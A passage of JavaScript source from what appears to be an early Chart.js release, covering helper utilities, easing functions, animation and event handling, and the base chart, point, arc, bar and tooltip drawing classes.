multiTooltipTemplate: '<%= value %>', // String - Colour behind the legend colour block multiTooltipKeyBackground: '#fff', // Function - Will fire on animation progression. onAnimationProgress: function() {}, // Function - Will fire on animation completion. onAnimationComplete: function() {}, }, } //Create a dictionary of chart types, to allow for extension of existing types Chart.types = {} //Global Chart helpers object for utility methods and classes var helpers = (Chart.helpers = {}) //-- Basic js utility methods var each = (helpers.each = function(loopable, callback, self) { var additionalArgs = Array.prototype.slice.call(arguments, 3) // Check to see if null or undefined firstly. if (loopable) { if (loopable.length === +loopable.length) { var i for (i = 0; i < loopable.length; i++) { callback.apply( self, [loopable[i], i].concat(additionalArgs), ) } } else { for (var item in loopable) { callback.apply( self, [loopable[item], item].concat(additionalArgs), ) } } } }), clone = (helpers.clone = function(obj) { var objClone = {} each(obj, function(value, key) { if (obj.hasOwnProperty(key)) objClone[key] = value }) return objClone }), extend = (helpers.extend = function(base) { each(Array.prototype.slice.call(arguments, 1), function( extensionObject, ) { each(extensionObject, function(value, key) { if (extensionObject.hasOwnProperty(key)) base[key] = value }) }) return base }), merge = (helpers.merge = function(base, master) { //Merge properties in left object over to a shallow clone of object right. var args = Array.prototype.slice.call(arguments, 0) args.unshift({}) return extend.apply(null, args) }), indexOf = (helpers.indexOf = function(arrayToSearch, item) { if (Array.prototype.indexOf) { return arrayToSearch.indexOf(item) } else { for (var i = 0; i < arrayToSearch.length; i++) { if (arrayToSearch[i] === item) return i } return -1 } }), where = (helpers.where = function(collection, filterCallback) { var filtered = [] helpers.each(collection, function(item) { if (filterCallback(item)) { filtered.push(item) } }) return filtered }), findNextWhere = (helpers.findNextWhere = function( arrayToSearch, filterCallback, startIndex, ) { // Default to start of the array if (!startIndex) { startIndex = -1 } for (var i = startIndex + 1; i < arrayToSearch.length; i++) { var currentItem = arrayToSearch[i] if (filterCallback(currentItem)) { return currentItem } } }), findPreviousWhere = (helpers.findPreviousWhere = function( arrayToSearch, filterCallback, startIndex, ) { // Default to end of the array if (!startIndex) { startIndex = arrayToSearch.length } for (var i = startIndex - 1; i >= 0; i--) { var currentItem = arrayToSearch[i] if (filterCallback(currentItem)) { return currentItem } } }), inherits = (helpers.inherits = function(extensions) { //Basic javascript inheritance based on the model created in Backbone.js var parent = this var ChartElement = extensions && extensions.hasOwnProperty('constructor') ? extensions.constructor : function() { return parent.apply(this, arguments) } var Surrogate = function() { this.constructor = ChartElement } Surrogate.prototype = parent.prototype ChartElement.prototype = new Surrogate() ChartElement.extend = inherits if (extensions) extend(ChartElement.prototype, extensions) ChartElement.__super__ = parent.prototype return ChartElement }), noop = (helpers.noop = function() {}), uid = (helpers.uid = (function() { var id = 0 return function() { return 'chart-' + id++ } })()), warn = (helpers.warn = function(str) { //Method for warning of errors if (window.console && typeof window.console.warn == 'function') console.warn(str) }), amd = (helpers.amd = typeof define == 'function' && define.amd), //-- Math methods isNumber = (helpers.isNumber = function(n) { return !isNaN(parseFloat(n)) && isFinite(n) }), max = (helpers.max = function(array) { return Math.max.apply(Math, array) }), min = (helpers.min = function(array) { return Math.min.apply(Math, array) }), cap = (helpers.cap = function(valueToCap, maxValue, minValue) { if (isNumber(maxValue)) { if (valueToCap > maxValue) { return maxValue } } else if (isNumber(minValue)) { if (valueToCap < minValue) { return minValue } } return valueToCap }), getDecimalPlaces = (helpers.getDecimalPlaces = function(num) { if (num % 1 !== 0 && isNumber(num)) { return num.toString().split('.')[1].length } else { return 0 } }), toRadians = (helpers.radians = function(degrees) { return degrees * (Math.PI / 180) }), // Gets the angle from vertical upright to the point about a centre. getAngleFromPoint = (helpers.getAngleFromPoint = function( centrePoint, anglePoint, ) { var distanceFromXCenter = anglePoint.x - centrePoint.x, distanceFromYCenter = anglePoint.y - centrePoint.y, radialDistanceFromCenter = Math.sqrt( distanceFromXCenter * distanceFromXCenter + distanceFromYCenter * distanceFromYCenter, ) var angle = Math.PI * 2 + Math.atan2(distanceFromYCenter, distanceFromXCenter) //If the segment is in the top left quadrant, we need to add another rotation to the angle if (distanceFromXCenter < 0 && distanceFromYCenter < 0) { angle += Math.PI * 2 } return { angle: angle, distance: radialDistanceFromCenter, } }), aliasPixel = (helpers.aliasPixel = function(pixelWidth) { return pixelWidth % 2 === 0 ? 0 : 0.5 }), splineCurve = (helpers.splineCurve = function( FirstPoint, MiddlePoint, AfterPoint, t, ) { //Props to Rob Spencer at scaled innovation for his post on splining between points //http://scaledinnovation.com/analytics/splines/aboutSplines.html var d01 = Math.sqrt( Math.pow(MiddlePoint.x - FirstPoint.x, 2) + Math.pow(MiddlePoint.y - FirstPoint.y, 2), ), d12 = Math.sqrt( Math.pow(AfterPoint.x - MiddlePoint.x, 2) + Math.pow(AfterPoint.y - MiddlePoint.y, 2), ), fa = (t * d01) / (d01 + d12), // scaling factor for triangle Ta fb = (t * d12) / (d01 + d12) return { inner: { x: MiddlePoint.x - fa * (AfterPoint.x - FirstPoint.x), y: MiddlePoint.y - fa * (AfterPoint.y - FirstPoint.y), }, outer: { x: MiddlePoint.x + fb * (AfterPoint.x - FirstPoint.x), y: MiddlePoint.y + fb * (AfterPoint.y - FirstPoint.y), }, } }), calculateOrderOfMagnitude = (helpers.calculateOrderOfMagnitude = function( val, ) { return Math.floor(Math.log(val) / Math.LN10) }), calculateScaleRange = (helpers.calculateScaleRange = function( valuesArray, drawingSize, textSize, startFromZero, integersOnly, ) { //Set a minimum step of two - a point at the top of the graph, and a point at the base var minSteps = 2, maxSteps = Math.floor(drawingSize / (textSize * 1.5)), skipFitting = minSteps >= maxSteps var maxValue = max(valuesArray), minValue = min(valuesArray) // We need some degree of seperation here to calculate the scales if all the values are the same // Adding/minusing 0.5 will give us a range of 1. if (maxValue === minValue) { maxValue += 0.5 // So we don't end up with a graph with a negative start value if we've said always start from zero if (minValue >= 0.5 && !startFromZero) { minValue -= 0.5 } else { // Make up a whole number above the values maxValue += 0.5 } } var valueRange = Math.abs(maxValue - minValue), rangeOrderOfMagnitude = calculateOrderOfMagnitude(valueRange), graphMax = Math.ceil( maxValue / (1 * Math.pow(10, rangeOrderOfMagnitude)), ) * Math.pow(10, rangeOrderOfMagnitude), graphMin = startFromZero ? 0 : Math.floor( minValue / (1 * Math.pow(10, rangeOrderOfMagnitude)), ) * Math.pow(10, rangeOrderOfMagnitude), graphRange = graphMax - graphMin, stepValue = Math.pow(10, rangeOrderOfMagnitude), numberOfSteps = Math.round(graphRange / stepValue) //If we have more space on the graph we'll use it to give more definition to the data while ( (numberOfSteps > maxSteps || numberOfSteps * 2 < maxSteps) && !skipFitting ) { if (numberOfSteps > maxSteps) { stepValue *= 2 numberOfSteps = Math.round(graphRange / stepValue) // Don't ever deal with a decimal number of steps - cancel fitting and just use the minimum number of steps. if (numberOfSteps % 1 !== 0) { skipFitting = true } } //We can fit in double the amount of scale points on the scale else { //If user has declared ints only, and the step value isn't a decimal if (integersOnly && rangeOrderOfMagnitude >= 0) { //If the user has said integers only, we need to check that making the scale more granular wouldn't make it a float if ((stepValue / 2) % 1 === 0) { stepValue /= 2 numberOfSteps = Math.round(graphRange / stepValue) } //If it would make it a float break out of the loop else { break } } //If the scale doesn't have to be an int, make the scale more granular anyway. else { stepValue /= 2 numberOfSteps = Math.round(graphRange / stepValue) } } } if (skipFitting) { numberOfSteps = minSteps stepValue = graphRange / numberOfSteps } return { steps: numberOfSteps, stepValue: stepValue, min: graphMin, max: graphMin + numberOfSteps * stepValue, } }), /* jshint ignore:start */ // Blows up jshint errors based on the new Function constructor //Templating methods //Javascript micro templating by John Resig - source at http://ejohn.org/blog/javascript-micro-templating/ template = (helpers.template = function(templateString, valuesObject) { // If templateString is function rather than string-template - call the function for valuesObject if (templateString instanceof Function) { return templateString(valuesObject) } var cache = {} function tmpl(str, data) { // Figure out if we're getting a template, or if we need to // load the template - and be sure to cache the result. var fn = !/\W/.test(str) ? (cache[str] = cache[str]) : // Generate a reusable function that will serve as a template // generator (and which will be cached). new Function( 'obj', 'var p=[],print=function(){p.push.apply(p,arguments);};' + // Introduce the data as local variables using with(){} "with(obj){p.push('" + // Convert the template into pure JavaScript str .replace(/[\r\t\n]/g, ' ') .split('<%') .join('\t') .replace(/((^|%>)[^\t]*)'/g, '$1\r') .replace(/\t=(.*?)%>/g, "',$1,'") .split('\t') .join("');") .split('%>') .join("p.push('") .split('\r') .join("\\'") + "');}return p.join('');", ) // Provide some basic currying to the user return data ? fn(data) : fn } return tmpl(templateString, valuesObject) }), /* jshint ignore:end */ generateLabels = (helpers.generateLabels = function( templateString, numberOfSteps, graphMin, stepValue, ) { var labelsArray = new Array(numberOfSteps) if (labelTemplateString) { each(labelsArray, function(val, index) { labelsArray[index] = template(templateString, { value: graphMin + stepValue * (index + 1), }) }) } return labelsArray }), //--Animation methods //Easing functions adapted from Robert Penner's easing equations //http://www.robertpenner.com/easing/ easingEffects = (helpers.easingEffects = { linear: function(t) { return t }, easeInQuad: function(t) { return t * t }, easeOutQuad: function(t) { return -1 * t * (t - 2) }, easeInOutQuad: function(t) { if ((t /= 1 / 2) < 1) return (1 / 2) * t * t return (-1 / 2) * (--t * (t - 2) - 1) }, easeInCubic: function(t) { return t * t * t }, easeOutCubic: function(t) { return 1 * ((t = t / 1 - 1) * t * t + 1) }, easeInOutCubic: function(t) { if ((t /= 1 / 2) < 1) return (1 / 2) * t * t * t return (1 / 2) * ((t -= 2) * t * t + 2) }, easeInQuart: function(t) { return t * t * t * t }, easeOutQuart: function(t) { return -1 * ((t = t / 1 - 1) * t * t * t - 1) }, easeInOutQuart: function(t) { if ((t /= 1 / 2) < 1) return (1 / 2) * t * t * t * t return (-1 / 2) * ((t -= 2) * t * t * t - 2) }, easeInQuint: function(t) { return 1 * (t /= 1) * t * t * t * t }, easeOutQuint: function(t) { return 1 * ((t = t / 1 - 1) * t * t * t * t + 1) }, easeInOutQuint: function(t) { if ((t /= 1 / 2) < 1) return (1 / 2) * t * t * t * t * t return (1 / 2) * ((t -= 2) * t * t * t * t + 2) }, easeInSine: function(t) { return -1 * Math.cos((t / 1) * (Math.PI / 2)) + 1 }, easeOutSine: function(t) { return 1 * Math.sin((t / 1) * (Math.PI / 2)) }, easeInOutSine: function(t) { return (-1 / 2) * (Math.cos((Math.PI * t) / 1) - 1) }, easeInExpo: function(t) { return t === 0 ? 1 : 1 * Math.pow(2, 10 * (t / 1 - 1)) }, easeOutExpo: function(t) { return t === 1 ? 1 : 1 * (-Math.pow(2, (-10 * t) / 1) + 1) }, easeInOutExpo: function(t) { if (t === 0) return 0 if (t === 1) return 1 if ((t /= 1 / 2) < 1) return (1 / 2) * Math.pow(2, 10 * (t - 1)) return (1 / 2) * (-Math.pow(2, -10 * --t) + 2) }, easeInCirc: function(t) { if (t >= 1) return t return -1 * (Math.sqrt(1 - (t /= 1) * t) - 1) }, easeOutCirc: function(t) { return 1 * Math.sqrt(1 - (t = t / 1 - 1) * t) }, easeInOutCirc: function(t) { if ((t /= 1 / 2) < 1) return (-1 / 2) * (Math.sqrt(1 - t * t) - 1) return (1 / 2) * (Math.sqrt(1 - (t -= 2) * t) + 1) }, easeInElastic: function(t) { var s = 1.70158 var p = 0 var a = 1 if (t === 0) return 0 if ((t /= 1) == 1) return 1 if (!p) p = 1 * 0.3 if (a < Math.abs(1)) { a = 1 s = p / 4 } else s = (p / (2 * Math.PI)) * Math.asin(1 / a) return -( a * Math.pow(2, 10 * (t -= 1)) * Math.sin(((t * 1 - s) * (2 * Math.PI)) / p) ) }, easeOutElastic: function(t) { var s = 1.70158 var p = 0 var a = 1 if (t === 0) return 0 if ((t /= 1) == 1) return 1 if (!p) p = 1 * 0.3 if (a < Math.abs(1)) { a = 1 s = p / 4 } else s = (p / (2 * Math.PI)) * Math.asin(1 / a) return ( a * Math.pow(2, -10 * t) * Math.sin(((t * 1 - s) * (2 * Math.PI)) / p) + 1 ) }, easeInOutElastic: function(t) { var s = 1.70158 var p = 0 var a = 1 if (t === 0) return 0 if ((t /= 1 / 2) == 2) return 1 if (!p) p = 1 * (0.3 * 1.5) if (a < Math.abs(1)) { a = 1 s = p / 4 } else s = (p / (2 * Math.PI)) * Math.asin(1 / a) if (t < 1) return ( -0.5 * (a * Math.pow(2, 10 * (t -= 1)) * Math.sin(((t * 1 - s) * (2 * Math.PI)) / p)) ) return ( a * Math.pow(2, -10 * (t -= 1)) * Math.sin(((t * 1 - s) * (2 * Math.PI)) / p) * 0.5 + 1 ) }, easeInBack: function(t) { var s = 1.70158 return 1 * (t /= 1) * t * ((s + 1) * t - s) }, easeOutBack: function(t) { var s = 1.70158 return 1 * ((t = t / 1 - 1) * t * ((s + 1) * t + s) + 1) }, easeInOutBack: function(t) { var s = 1.70158 if ((t /= 1 / 2) < 1) return (1 / 2) * (t * t * (((s *= 1.525) + 1) * t - s)) return ( (1 / 2) * ((t -= 2) * t * (((s *= 1.525) + 1) * t + s) + 2) ) }, easeInBounce: function(t) { return 1 - easingEffects.easeOutBounce(1 - t) }, easeOutBounce: function(t) { if ((t /= 1) < 1 / 2.75) { return 1 * (7.5625 * t * t) } else if (t < 2 / 2.75) { return 1 * (7.5625 * (t -= 1.5 / 2.75) * t + 0.75) } else if (t < 2.5 / 2.75) { return 1 * (7.5625 * (t -= 2.25 / 2.75) * t + 0.9375) } else { return 1 * (7.5625 * (t -= 2.625 / 2.75) * t + 0.984375) } }, easeInOutBounce: function(t) { if (t < 1 / 2) return easingEffects.easeInBounce(t * 2) * 0.5 return easingEffects.easeOutBounce(t * 2 - 1) * 0.5 + 1 * 0.5 }, }), //Request animation polyfill - http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/ requestAnimFrame = (helpers.requestAnimFrame = (function() { return ( window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { return window.setTimeout(callback, 1000 / 60) } ) })()), cancelAnimFrame = (helpers.cancelAnimFrame = (function() { return ( window.cancelAnimationFrame || window.webkitCancelAnimationFrame || window.mozCancelAnimationFrame || window.oCancelAnimationFrame || window.msCancelAnimationFrame || function(callback) { return window.clearTimeout(callback, 1000 / 60) } ) })()), animationLoop = (helpers.animationLoop = function( callback, totalSteps, easingString, onProgress, onComplete, chartInstance, ) { var currentStep = 0, easingFunction = easingEffects[easingString] || easingEffects.linear var animationFrame = function() { currentStep++ var stepDecimal = currentStep / totalSteps var easeDecimal = easingFunction(stepDecimal) callback.call( chartInstance, easeDecimal, stepDecimal, currentStep, ) onProgress.call(chartInstance, easeDecimal, stepDecimal) if (currentStep < totalSteps) { chartInstance.animationFrame = requestAnimFrame( animationFrame, ) } else { onComplete.apply(chartInstance) } } requestAnimFrame(animationFrame) }), //-- DOM methods getRelativePosition = (helpers.getRelativePosition = function(evt) { var mouseX, mouseY var e = evt.originalEvent || evt, canvas = evt.currentTarget || evt.srcElement, boundingRect = canvas.getBoundingClientRect() if (e.touches) { mouseX = e.touches[0].clientX - boundingRect.left mouseY = e.touches[0].clientY - boundingRect.top } else { mouseX = e.clientX - boundingRect.left mouseY = e.clientY - boundingRect.top } return { x: mouseX, y: mouseY, } }), addEvent = (helpers.addEvent = function(node, eventType, method) { if (node.addEventListener) { node.addEventListener(eventType, method) } else if (node.attachEvent) { node.attachEvent('on' + eventType, method) } else { node['on' + eventType] = method } }), removeEvent = (helpers.removeEvent = function( node, eventType, handler, ) { if (node.removeEventListener) { node.removeEventListener(eventType, handler, false) } else if (node.detachEvent) { node.detachEvent('on' + eventType, handler) } else { node['on' + eventType] = noop } }), bindEvents = (helpers.bindEvents = function( chartInstance, arrayOfEvents, handler, ) { // Create the events object if it's not already present if (!chartInstance.events) chartInstance.events = {} each(arrayOfEvents, function(eventName) { chartInstance.events[eventName] = function() { handler.apply(chartInstance, arguments) } addEvent( chartInstance.chart.canvas, eventName, chartInstance.events[eventName], ) }) }), unbindEvents = (helpers.unbindEvents = function( chartInstance, arrayOfEvents, ) { each(arrayOfEvents, function(handler, eventName) { removeEvent(chartInstance.chart.canvas, eventName, handler) }) }), getMaximumWidth = (helpers.getMaximumWidth = function(domNode) { var container = domNode.parentNode // TODO = check cross browser stuff with this. return container.clientWidth }), getMaximumHeight = (helpers.getMaximumHeight = function(domNode) { var container = domNode.parentNode // TODO = check cross browser stuff with this. return container.clientHeight }), getMaximumSize = (helpers.getMaximumSize = helpers.getMaximumWidth), // legacy support retinaScale = (helpers.retinaScale = function(chart) { var ctx = chart.ctx, width = chart.canvas.width, height = chart.canvas.height if (window.devicePixelRatio) { ctx.canvas.style.width = width + 'px' ctx.canvas.style.height = height + 'px' ctx.canvas.height = height * window.devicePixelRatio ctx.canvas.width = width * window.devicePixelRatio ctx.scale(window.devicePixelRatio, window.devicePixelRatio) } }), //-- Canvas methods clear = (helpers.clear = function(chart) { chart.ctx.clearRect(0, 0, chart.width, chart.height) }), fontString = (helpers.fontString = function( pixelSize, fontStyle, fontFamily, ) { return fontStyle + ' ' + pixelSize + 'px ' + fontFamily }), longestText = (helpers.longestText = function( ctx, font, arrayOfStrings, ) { ctx.font = font var longest = 0 each(arrayOfStrings, function(string) { var textWidth = ctx.measureText(string).width longest = textWidth > longest ? textWidth : longest }) return longest }), drawRoundedRectangle = (helpers.drawRoundedRectangle = function( ctx, x, y, width, height, radius, ) { ctx.beginPath() ctx.moveTo(x + radius, y) ctx.lineTo(x + width - radius, y) ctx.quadraticCurveTo(x + width, y, x + width, y + radius) ctx.lineTo(x + width, y + height - radius) ctx.quadraticCurveTo( x + width, y + height, x + width - radius, y + height, ) ctx.lineTo(x + radius, y + height) ctx.quadraticCurveTo(x, y + height, x, y + height - radius) ctx.lineTo(x, y + radius) ctx.quadraticCurveTo(x, y, x + radius, y) ctx.closePath() }) //Store a reference to each instance - allowing us to globally resize chart instances on window resize. //Destroy method on the chart will remove the instance of the chart from this reference. Chart.instances = {} Chart.Type = function(data, options, chart) { this.options = options this.chart = chart this.id = uid() //Add the chart instance to the global namespace Chart.instances[this.id] = this // Initialize is always called when a chart type is created // By default it is a no op, but it should be extended if (options.responsive) { this.resize() } this.initialize.call(this, data) } //Core methods that'll be a part of every chart type extend(Chart.Type.prototype, { initialize: function() { return this }, clear: function() { clear(this.chart) return this }, stop: function() { // Stops any current animation loop occuring cancelAnimFrame(this.animationFrame) return this }, resize: function(callback) { this.stop() var canvas = this.chart.canvas, newWidth = getMaximumWidth(this.chart.canvas), newHeight = this.options.maintainAspectRatio ? newWidth / this.chart.aspectRatio : getMaximumHeight(this.chart.canvas) canvas.width = this.chart.width = newWidth canvas.height = this.chart.height = newHeight retinaScale(this.chart) if (typeof callback === 'function') { callback.apply(this, Array.prototype.slice.call(arguments, 1)) } return this }, reflow: noop, render: function(reflow) { if (reflow) { this.reflow() } if (this.options.animation && !reflow) { helpers.animationLoop( this.draw, this.options.animationSteps, this.options.animationEasing, this.options.onAnimationProgress, this.options.onAnimationComplete, this, ) } else { this.draw() this.options.onAnimationComplete.call(this) } return this }, generateLegend: function() { return template(this.options.legendTemplate, this) }, destroy: function() { this.clear() unbindEvents(this, this.events) var canvas = this.chart.canvas // Reset canvas height/width attributes starts a fresh with the canvas context canvas.width = this.chart.width canvas.height = this.chart.height // < IE9 doesn't support removeProperty if (canvas.style.removeProperty) { canvas.style.removeProperty('width') canvas.style.removeProperty('height') } else { canvas.style.removeAttribute('width') canvas.style.removeAttribute('height') } delete Chart.instances[this.id] }, showTooltip: function(ChartElements, forceRedraw) { // Only redraw the chart if we've actually changed what we're hovering on. if (typeof this.activeElements === 'undefined') this.activeElements = [] var isChanged = function(Elements) { var changed = false if (Elements.length !== this.activeElements.length) { changed = true return changed } each( Elements, function(element, index) { if (element !== this.activeElements[index]) { changed = true } }, this, ) return changed }.call(this, ChartElements) if (!isChanged && !forceRedraw) { return } else { this.activeElements = ChartElements } this.draw() if (this.options.customTooltips) { this.options.customTooltips(false) } if (ChartElements.length > 0) { // If we have multiple datasets, show a MultiTooltip for all of the data points at that index if (this.datasets && this.datasets.length > 1) { var dataArray, dataIndex for (var i = this.datasets.length - 1; i >= 0; i--) { dataArray = this.datasets[i].points || this.datasets[i].bars || this.datasets[i].segments dataIndex = indexOf(dataArray, ChartElements[0]) if (dataIndex !== -1) { break } } var tooltipLabels = [], tooltipColors = [], medianPosition = function(index) { // Get all the points at that particular index var Elements = [], dataCollection, xPositions = [], yPositions = [], xMax, yMax, xMin, yMin helpers.each(this.datasets, function(dataset) { dataCollection = dataset.points || dataset.bars || dataset.segments if ( dataCollection[dataIndex] && dataCollection[dataIndex].hasValue() ) { Elements.push(dataCollection[dataIndex]) } }) helpers.each( Elements, function(element) { xPositions.push(element.x) yPositions.push(element.y) //Include any colour information about the element tooltipLabels.push( helpers.template( this.options.multiTooltipTemplate, element, ), ) tooltipColors.push({ fill: element._saved.fillColor || element.fillColor, stroke: element._saved.strokeColor || element.strokeColor, }) }, this, ) yMin = min(yPositions) yMax = max(yPositions) xMin = min(xPositions) xMax = max(xPositions) return { x: xMin > this.chart.width / 2 ? xMin : xMax, y: (yMin + yMax) / 2, } }.call(this, dataIndex) new Chart.MultiTooltip({ x: medianPosition.x, y: medianPosition.y, xPadding: this.options.tooltipXPadding, yPadding: this.options.tooltipYPadding, xOffset: this.options.tooltipXOffset, fillColor: this.options.tooltipFillColor, textColor: this.options.tooltipFontColor, fontFamily: this.options.tooltipFontFamily, fontStyle: this.options.tooltipFontStyle, fontSize: this.options.tooltipFontSize, titleTextColor: this.options.tooltipTitleFontColor, titleFontFamily: this.options.tooltipTitleFontFamily, titleFontStyle: this.options.tooltipTitleFontStyle, titleFontSize: this.options.tooltipTitleFontSize, cornerRadius: this.options.tooltipCornerRadius, labels: tooltipLabels, legendColors: tooltipColors, legendColorBackground: this.options .multiTooltipKeyBackground, title: ChartElements[0].label, chart: this.chart, ctx: this.chart.ctx, custom: this.options.customTooltips, }).draw() } else { each( ChartElements, function(Element) { var tooltipPosition = Element.tooltipPosition() new Chart.Tooltip({ x: Math.round(tooltipPosition.x), y: Math.round(tooltipPosition.y), xPadding: this.options.tooltipXPadding, yPadding: this.options.tooltipYPadding, fillColor: this.options.tooltipFillColor, textColor: this.options.tooltipFontColor, fontFamily: this.options.tooltipFontFamily, fontStyle: this.options.tooltipFontStyle, fontSize: this.options.tooltipFontSize, caretHeight: this.options.tooltipCaretSize, cornerRadius: this.options.tooltipCornerRadius, text: template( this.options.tooltipTemplate, Element, ), chart: this.chart, custom: this.options.customTooltips, }).draw() }, this, ) } } return this }, toBase64Image: function() { return this.chart.canvas.toDataURL.apply( this.chart.canvas, arguments, ) }, }) Chart.Type.extend = function(extensions) { var parent = this var ChartType = function() { return parent.apply(this, arguments) } //Copy the prototype object of the this class ChartType.prototype = clone(parent.prototype) //Now overwrite some of the properties in the base class with the new extensions extend(ChartType.prototype, extensions) ChartType.extend = Chart.Type.extend if (extensions.name || parent.prototype.name) { var chartName = extensions.name || parent.prototype.name //Assign any potential default values of the new chart type //If none are defined, we'll use a clone of the chart type this is being extended from. //I.e. if we extend a line chart, we'll use the defaults from the line chart if our new chart //doesn't define some defaults of their own. var baseDefaults = Chart.defaults[parent.prototype.name] ? clone(Chart.defaults[parent.prototype.name]) : {} Chart.defaults[chartName] = extend( baseDefaults, extensions.defaults, ) Chart.types[chartName] = ChartType //Register this new chart type in the Chart prototype Chart.prototype[chartName] = function(data, options) { var config = merge( Chart.defaults.global, Chart.defaults[chartName], options || {}, ) return new ChartType(data, config, this) } } else { warn( "Name not provided for this chart, so it hasn't been registered", ) } return parent } Chart.Element = function(configuration) { extend(this, configuration) this.initialize.apply(this, arguments) this.save() } extend(Chart.Element.prototype, { initialize: function() {}, restore: function(props) { if (!props) { extend(this, this._saved) } else { each( props, function(key) { this[key] = this._saved[key] }, this, ) } return this }, save: function() { this._saved = clone(this) delete this._saved._saved return this }, update: function(newProps) { each( newProps, function(value, key) { this._saved[key] = this[key] this[key] = value }, this, ) return this }, transition: function(props, ease) { each( props, function(value, key) { this[key] = (value - this._saved[key]) * ease + this._saved[key] }, this, ) return this }, tooltipPosition: function() { return { x: this.x, y: this.y, } }, hasValue: function() { return isNumber(this.value) }, }) Chart.Element.extend = inherits Chart.Point = Chart.Element.extend({ display: true, inRange: function(chartX, chartY) { var hitDetectionRange = this.hitDetectionRadius + this.radius return ( Math.pow(chartX - this.x, 2) + Math.pow(chartY - this.y, 2) < Math.pow(hitDetectionRange, 2) ) }, draw: function() { if (this.display) { var ctx = this.ctx ctx.beginPath() ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2) ctx.closePath() ctx.strokeStyle = this.strokeColor ctx.lineWidth = this.strokeWidth ctx.fillStyle = this.fillColor ctx.fill() ctx.stroke() } //Quick debug for bezier curve splining //Highlights control points and the line between them. //Handy for dev - stripped in the min version. // ctx.save(); // ctx.fillStyle = "black"; // ctx.strokeStyle = "black" // ctx.beginPath(); // ctx.arc(this.controlPoints.inner.x,this.controlPoints.inner.y, 2, 0, Math.PI*2); // ctx.fill(); // ctx.beginPath(); // ctx.arc(this.controlPoints.outer.x,this.controlPoints.outer.y, 2, 0, Math.PI*2); // ctx.fill(); // ctx.moveTo(this.controlPoints.inner.x,this.controlPoints.inner.y); // ctx.lineTo(this.x, this.y); // ctx.lineTo(this.controlPoints.outer.x,this.controlPoints.outer.y); // ctx.stroke(); // ctx.restore(); }, }) Chart.Arc = Chart.Element.extend({ inRange: function(chartX, chartY) { var pointRelativePosition = helpers.getAngleFromPoint(this, { x: chartX, y: chartY, }) //Check if within the range of the open/close angle var betweenAngles = pointRelativePosition.angle >= this.startAngle && pointRelativePosition.angle <= this.endAngle, withinRadius = pointRelativePosition.distance >= this.innerRadius && pointRelativePosition.distance <= this.outerRadius return betweenAngles && withinRadius //Ensure within the outside of the arc centre, but inside arc outer }, tooltipPosition: function() { var centreAngle = this.startAngle + (this.endAngle - this.startAngle) / 2, rangeFromCentre = (this.outerRadius - this.innerRadius) / 2 + this.innerRadius return { x: this.x + Math.cos(centreAngle) * rangeFromCentre, y: this.y + Math.sin(centreAngle) * rangeFromCentre, } }, draw: function(animationPercent) { var easingDecimal = animationPercent || 1 var ctx = this.ctx ctx.beginPath() ctx.arc( this.x, this.y, this.outerRadius, this.startAngle, this.endAngle, ) ctx.arc( this.x, this.y, this.innerRadius, this.endAngle, this.startAngle, true, ) ctx.closePath() ctx.strokeStyle = this.strokeColor ctx.lineWidth = this.strokeWidth ctx.fillStyle = this.fillColor ctx.fill() ctx.lineJoin = 'bevel' if (this.showStroke) { ctx.stroke() } }, }) Chart.Rectangle = Chart.Element.extend({ draw: function() { var ctx = this.ctx, halfWidth = this.width / 2, leftX = this.x - halfWidth, rightX = this.x + halfWidth, top = this.base - (this.base - this.y), halfStroke = this.strokeWidth / 2 // Canvas doesn't allow us to stroke inside the width so we can // adjust the sizes to fit if we're setting a stroke on the line if (this.showStroke) { leftX += halfStroke rightX -= halfStroke top += halfStroke } ctx.beginPath() ctx.fillStyle = this.fillColor ctx.strokeStyle = this.strokeColor ctx.lineWidth = this.strokeWidth // It'd be nice to keep this class totally generic to any rectangle // and simply specify which border to miss out. ctx.moveTo(leftX, this.base) ctx.lineTo(leftX, top) ctx.lineTo(rightX, top) ctx.lineTo(rightX, this.base) ctx.fill() if (this.showStroke) { ctx.stroke() } }, height: function() { return this.base - this.y }, inRange: function(chartX, chartY) { return ( chartX >= this.x - this.width / 2 && chartX <= this.x + this.width / 2 && (chartY >= this.y && chartY <= this.base) ) }, }) Chart.Tooltip = Chart.Element.extend({ draw: function() { var ctx = this.chart.ctx ctx.font = fontString( this.fontSize, this.fontStyle, this.fontFamily, ) this.xAlign = 'center' this.yAlign = 'above' //Distance between the actual element.y position and the start of the tooltip caret var caretPadding = (this.caretPadding = 2) var tooltipWidth = ctx.measureText(this.text).width + 2 * this.xPadding, tooltipRectHeight = this.fontSize + 2 * this.yPadding, tooltipHeight = tooltipRectHeight + this.caretHeight + caretPadding if (this.x + tooltipWidth / 2 > this.chart.width) { this.xAlign = 'left' } else if (this.x - tooltipWidth / 2 < 0) { this.xAlign = 'right' } if (this.y - tooltipHeight < 0) { this.yAlign = 'below' } var tooltipX = this.x - tooltipWidth / 2, tooltipY = this.y - tooltipHeight ctx.fillStyle = this.fillColor // Custom Tooltips if (this.custom) { this.custom(this) } else { switch (this.yAlign) { case 'above': //Draw a caret above the x/y ctx.beginPath() ctx.moveTo(this.x, this.y - caretPadding) ctx.lineTo( this.x + this.caretHeight, this.y - (caretPadding + this.caretHeight), ) ctx.lineTo( this.x - this.caretHeight, this.y - (caretPadding + this.caretHeight), ) ctx.closePath() ctx.fill() break case 'below': tooltipY = this.y + caretPadding + this.caretHeight //Draw a caret below the x/y ctx.beginPath() ctx.moveTo(this.x, this.y + caretPadding) ctx.lineTo( this.x + this.caretHeight, this.y + caretPadding + this.caretHeight, ) ctx.lineTo( this.x - this.caretHeight, this.y + caretPadding + this.caretHeight, ) ctx.closePath() ctx.fill() break } switch (this.xAlign) { case 'left': tooltipX = this.x - tooltipWidth + (this.cornerRadius + this.caretHeight) break case 'right': tooltipX = this.x - (this.cornerRadius + this.caretHeight) break } drawRoundedRectangle( ctx, tooltipX, tooltipY, tooltipWidth, tooltipRectHeight, this.cornerRadius, ) ctx.fill() ctx.fillStyle = this.textColor ctx.textAlign = 'center' ctx.textBaseline = 'middle' ctx.fillText( this.text, tooltipX + tooltipWidth / 2, tooltipY + tooltipRectHeight / 2, ) } }, }) Chart.MultiTooltip = Chart.Element.extend({ initialize: function() { this.font = fontString( this.fontSize, this.fontStyle, this.fontFamily, ) this.titleFont = fontString( this.titleFontSize, this.titleFontStyle, this.titleFontFamily, ) this.height = this.labels.length * this.fontSize + (this.labels.length - 1) * (this.fontSize / 2) + this.yPadding 